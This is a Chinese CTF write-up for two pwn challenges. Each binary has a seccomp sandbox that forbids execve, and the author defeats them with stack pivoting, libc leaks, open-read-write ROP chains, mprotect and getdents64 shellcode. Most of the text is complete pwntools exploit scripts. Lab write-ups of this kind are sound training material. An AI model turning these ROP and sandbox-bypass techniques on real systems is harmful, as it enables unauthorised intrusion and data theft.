SandBox
链接:https://pan.baidu.com/s/1l3NhZ1xYwca48nf1p88iDg
提取码:05zg
题目开启了沙箱机制
沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。计算机领域的虚拟技术,常见于安全方向。会禁用一些系统调用
实现沙箱机制
一种采用prctl函数调用
一种是使用seccomp库函数。
grxer@grxer ~/D/p/police-pwn-2023> checksec sandbox [*] '/home/grxer/Desktop/pwn/police-pwn-2023/sandbox' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) grxer@grxer ~/D/p/police-pwn-2023> seccomp-tools dump ./sandbox line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x06 0x00 0x00 0x00000000 return KILL
|
可以看到禁用了execve系统调用,同时system是不能使用的,因为system是glibc中的函数,用shell来调用程序=fork+exec+waitpid
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[80];
io(argc, argv, envp); puts("A bit small, but it doesn't affect me cat flag"); return read(0, buf, 0x60uLL); }
|
栈迁移
只有0x10个字节的大小,我们先进行栈迁移
选择bss=0x404500
我们先payload=padding+p64(bss)+p64(read_ret),由于是采用leave ret平栈,会把rbp改为bss地址,ret 到read
payload=padding+p64(bss+0x50)+p64(read_ret),我们在bss-0x50输入
平栈后我们的rsp为0x404510(因为在leave mov esp,ebp后需要pop rbp和ret栈顶rsp会提高0x10),rbp为0x404550,再次返回read
payload=p64(bss+0x60)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)会在bss输入payload
这里我们call read函数时会把返回地址放在0x404508处,我们把他覆盖为了pop rdi ;ret,所以在返回时就可以输出got表返回main
这样我们就可以返回main,再次循环利用迁移和覆盖read返回
ORW读取flag
对于32位程序,应调用int $0x80进入系统调用,将系统调用号传入eax,各个参数按照ebx、ecx、edx的顺序传递到寄存器中,系统调用返回值储存到eax寄存器。
对于64位程序,应调用 syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi、rsi、rdx的顺序传递到寄存器中,系统调用返回值储存到rax寄存器。
从使用上来看
- 约定的传递参数的寄存器不同
- syscall 使用的是 edi 、 esi 、 edx 、 ecx,
- int 0x80 使用的是 ebx 、 ecx 、 edx 、 esi 、 edi
从内部机制来看
- syscall 调用的是C库函数,是在用户空间的,并且最终还是会调用内核函数(入口点)
- int 0x80 调用的是内核函数,是在内核空间的
我们先把‘./flag’字符串通过read函数写入内存payload=b’deadbeef’+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x404900)+p64(0x40)+p64(read_addr)+p64(main)
三个文件描述符
0 标准输入
1 标志输出
2 标志错误
在利用标准库里的syscall打开flag文件,read读取到内存
payload=b’deadbeef’+p64(rdi)+p64(0x2)+p64(pop_rsi)+p64(0x404900)+p64(base+libc.sym[‘syscall’])
payload+=p64(rdi)+p64(3)+p64(pop_rsi)+p64(0x404900)+p64(base+libc.sym[‘read’])+p64(main)
syscall汇编如下
会把rdi rsi rdx等,依次给到rax rdi rsi等 再内核函数syscall系统调用
open打开文件描述符需要提供给read函数,一般都是从3开始(012被标志占用)
最后读取flag到标准输出,payload=b’deadbeef’+p64(rdi)+p64(1)+p64(rsi_r15)+p64(0x404900)+p64(0x100)+p64(base+libc.sym[‘write’])+p64(main)
拿到flag
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./sandbox' elf = ELF(pwnfile) rop = ROP(pwnfile) libc= ELF('/lib/x86_64-linux-gnu/libc.so.6') if args['REMOTE']: io = remote('1.13.251.106','8004') else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y))
rdi=0x401283 rsi_r15=0x0401281 read_ret=0x4011F1 bss=0x404500 puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=elf.symbols['main']
padding=b'a'*0x50 payload=padding+p64(bss)+p64(read_ret) sa(b'flag\n',payload) payload=padding+p64(bss+0x50)+p64(read_ret) sa(b'flag\n',payload) p('main',main) payload=b'deadbeef'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) sa(b'flag\n',payload) puts_ad=u64(r(6).ljust(8,b'\x00')) p("puts_ad",puts_ad)
base=puts_ad-libc.symbols['puts'] read_addr = base + libc.symbols['read'] pop_rsi = base + next(libc.search(asm('pop rsi;ret;'))) mprotect = base + libc.sym['mprotect'] p('read_addr',read_addr) padding=b'b'*0x50 payload=padding+p64(bss)+p64(read_ret) sa(b'flag\n',payload) payload=padding+p64(bss+0x50)+p64(read_ret) sa(b'flag\n',payload) payload=b'deadbeef'+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x404900)+p64(0x40)+p64(read_addr)+p64(main) sa(b'flag\n',payload) sleep(1) s('./flag')
padding=b'c'*0x50 payload=padding+p64(bss)+p64(read_ret) sa(b'flag\n',payload) payload=padding+p64(bss+0x50)+p64(read_ret) sa(b'flag\n',payload) payload=b'deadbeef'+p64(rdi)+p64(0x2)+p64(pop_rsi)+p64(0x404900)+p64(base+libc.sym['syscall']) payload+=p64(rdi)+p64(3)+p64(pop_rsi)+p64(0x404900)+p64(base+libc.sym['read'])+p64(main) sa(b'flag\n',payload)
padding=b'd'*0x50 payload=padding+p64(bss)+p64(read_ret) sa(b'flag\n',payload) payload=padding+p64(bss+0x50)+p64(read_ret) sa(b'flag\n',payload) payload=b'deadbeef'+p64(rdi)+p64(1)+p64(rsi_r15)+p64(0x404900)+p64(0x100)+p64(base+libc.sym['write'])+p64(main)
sa(b'flag\n',payload) io.interactive()
|
flag?????
链接:https://pan.baidu.com/s/1kHoiI7gXN0RLVzY1q7RPng
提取码:pdi2
grxer@grxer ~/D/p/police-pwn-2023> checksec pwn3 [*] '/home/grxer/Desktop/pwn/police-pwn-2023/pwn3' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[96];
io(argc, argv, envp); puts(s); return read(0, buf, 0x70uLL); }
|
和sandbox一样,只有0x10字节的溢出,seccomp-tools检测了一下并没有沙箱,简简单单拿个shellZzz,直接栈迁移ROP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./flag???' libc= ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y))
db('b *0x40120E') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=elf.symbols['main'] rdi=0x0000000000401283 rsi_r15=0x0000000000401281 bss=0x404500 read_ret=0x4011F1
padding=b'a'*0x60 payload=padding+p64(bss)+p64(read_ret) sa(b'\n',payload) payload=padding+p64(bss+0x60)+p64(read_ret) sa(b'\n',payload) payload=b'deadbeef'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) sa(b'\n',payload) puts_ad=u64(r(6).ljust(8,b'\x00')) p('puts_ad',puts_ad) base=puts_ad-libc.symbols['puts'] system_ad=base+libc.symbols['system'] bin_sh=base+next(libc.search(b'/bin/sh')) padding=b'b'*0x60 payload=padding+p64(bss)+p64(read_ret) sa(b'\n',payload) payload=padding+p64(bss+0x60)+p64(read_ret) sa(b'\n',payload) payload=b'deadbeef'+p64(rdi)+p64(bin_sh)+p64(0x000000000040101a)+p64(system_ad) sa(b'\n',payload)
io.interactive()
|
发现没有拿到shell
gdb跟了一下发现会执行到system(‘/bin/sh’),又是开了沙箱,没有检测出来,发现题目给了提示有沙箱
mprotect修改权限
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:
#include <unistd.h> #include <sys/mmap.h>必须是一个内存页的起始地址 int mprotect(const void *start, size_t len, int prot); 从start开始修改len长度byte的权限为prot * start必须从必须是一个内存页的起始地地址 linux页一般4k(0x1000byte) * len必须是页整数倍 * part和linux文件权限一样 RWX
|
我们需要先泄露文件名,看到要写入shellcode,这一步是必要的
payload=b’deadbeef’+p64(rdi)+p64(mp_start)+p64(poprsi)+p64(4096)+p64(poprdx_r12)+p64(0x7)+p64(0x6666)+p64(mprotect)+p64(main)
修改完成rwx
getdents64泄露文件名
getdents64函数,它读取目录文件中的一个个目录项并返回
- 参数一:fd指针
- 参数二:写入的内存区域
- 参数三:4096
- 功能:把当前文件目录下的文件名写入参数二指向的内存区域
linux ls底层是调用getdents64函数实现的
我们用stace跟踪一些ls
strace是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。
ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0 ioctl(1, TIOCGWINSZ, {ws_row=49, ws_col=102, ws_xpixel=1632, ws_ypixel=1568}) = 0 openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3 newfstatat(3, "", {st_mode=S_IFDIR|0777, st_size=4096, ...}, AT_EMPTY_PATH) = 0 getdents64(3, 0x55c4e28daac0 /* 23 entries */, 32768) = 800 getdents64(3, 0x55c4e28daac0 /* 0 entries */, 32768) = 0 close(3) = 0 newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}, AT_EMPTY_PATH) = 0 write(1, "bjdctf_2020_babystack\t flag.txt"..., 67) = 67 write(1, "bjdctf_2020_babystack.py get_st"..., 72) = 72 write(1, "ciscn_2019_c_1\t\t get_started_3d"..., 72) = 72 write(1, "core\t\t\t get_started_3dsctf_2016"..., 68) = 68 write(1, "ctest\t\t\t IDA\t\t\t\t payload."..., 51) = 51 close(1) = 0 close(2) = 0 exit_group(0) = ? +++ exited with 0 +++
|
payload=b'deadbeef'+p64(rdi)+p64(0)+p64(poprsi)+p64(mp_start+0x200)+p64(poprdx_r12)+p64(0x200)+p64(0x66666)+p64(read_ad)+p64(mp_start+0x200) sa(b'\x96\x88\n',payload) payload=asm(shellcraft.open('./')) payload+=asm(shellcraft.getdents64(3, mp_start+0x100, 0x200)) payload+=asm(shellcraft.write(1,mp_start+0x100,0x200)) payload += asm(''' mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret; ''' %(main)) sleep(1) s(payload)
|
打开当前文件夹,然后读取到指定内存后通过write输出,这里的第一个payload数据的写入区最后选择bss段中间位置如mp_start+0x200,开头部分可能不行,官方wp
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;来返回,我感觉mov rsi, 0x%x;push rsi; ret;就可以,也打通了,不知道为什么要多一层syscall
payload=asm(shellcraft.open(flagname)) payload+=asm(shellcraft.read(4,mp_start+0x100,0x200)) payload+=asm(shellcraft.write(1,mp_start+0x100,0x200))
|
泄露出文件名,正常读取就可以,因为我们没有关闭前一个打开的fd指针,所以这里文件指针变为4
EXP 这里其实可以封装个函数,懒得搞了
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./grxer???' libc= ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y))
db('b *0x40120E') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=elf.symbols['main'] rdi=0x0000000000401283 rsi_r15=0x0000000000401281 bss=0x404500 read_ret=0x4011F1
padding=b'a'*0x60 payload=padding+p64(bss)+p64(read_ret) sa(b'\x96\x88\n',payload) payload=padding+p64(bss+0x60)+p64(read_ret) sa(b'\x96\x88\n',payload) payload=b'deadbeef'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) sa(b'\x96\x88\n',payload) puts_ad=u64(r(6).ljust(8,b'\x00')) p('puts_ad',puts_ad) base=puts_ad-libc.symbols['puts'] system_ad=base+libc.symbols['system']
bin_sh=base+next(libc.search(b'/bin/sh')) poprdi=next(libc.search(asm('pop rdi;ret;')))+base poprsi=next(libc.search(asm('pop rsi;ret;')))+base poprdx_r12=next(libc.search(asm('pop rdx;pop r12;ret;')))+base p('poprdi',poprdi) p('poprsi',poprsi) p('poprdx',poprdx_r12) mprotect=libc.symbols['mprotect']+base read_ad=libc.symbols['read']+base mp_start=0x404000
padding=b'b'*0x60 payload=padding+p64(bss+0x100)+p64(read_ret) sa(b'\x96\x88\n',payload) payload=padding+p64(bss+0x60+0x100)+p64(read_ret) sa(b'\x96\x88\n',payload) payload=b'deadbeef'+p64(rdi)+p64(mp_start)+p64(poprsi)+p64(4096)+p64(poprdx_r12)+p64(0x7)+p64(0x6666)+p64(mprotect)+p64(main) sa(b'\x96\x88\n',payload)
padding=b'c'*0x60 payload=padding+p64(bss+0x200)+p64(read_ret) sa(b'\x96\x88\n',payload) payload=padding+p64(bss+0x60+0x200)+p64(read_ret) sa(b'\x96\x88\n',payload) payload=b'deadbeef'+p64(rdi)+p64(0)+p64(poprsi)+p64(mp_start+0x200)+p64(poprdx_r12)+p64(0x200)+p64(0x66666)+p64(read_ad)+p64(mp_start+0x200) sa(b'\x96\x88\n',payload) payload=asm(shellcraft.open('./')) payload+=asm(shellcraft.getdents64(3, mp_start+0x100, 0x200)) payload+=asm(shellcraft.write(1,mp_start+0x100,0x200)) payload += asm(''' mov rsi, 0x%x;push rsi; ret; ''' %(main)) sleep(1) s(payload)
ru(b'flag') flag=r(6) print('flag--->'+flag.decode()) flagname='./flag'+flag.decode() print(flagname) padding=b'd'*0x60 payload=padding+p64(bss)+p64(read_ret)
s(payload) payload=padding+p64(bss+0x60)+p64(read_ret) sa(b'\x96\x88\n',payload) payload=b'deadbeef'+p64(rdi)+p64(0)+p64(poprsi)+p64(mp_start+0x200)+p64(poprdx_r12)+p64(0x200)+p64(0x66666)+p64(read_ad)+p64(mp_start+0x200) sa(b'\x96\x88\n',payload) payload=asm(shellcraft.open(flagname)) payload+=asm(shellcraft.read(4,mp_start+0x100,0x200)) payload+=asm(shellcraft.write(1,mp_start+0x100,0x200)) sleep(1) s(payload) io.interactive()
|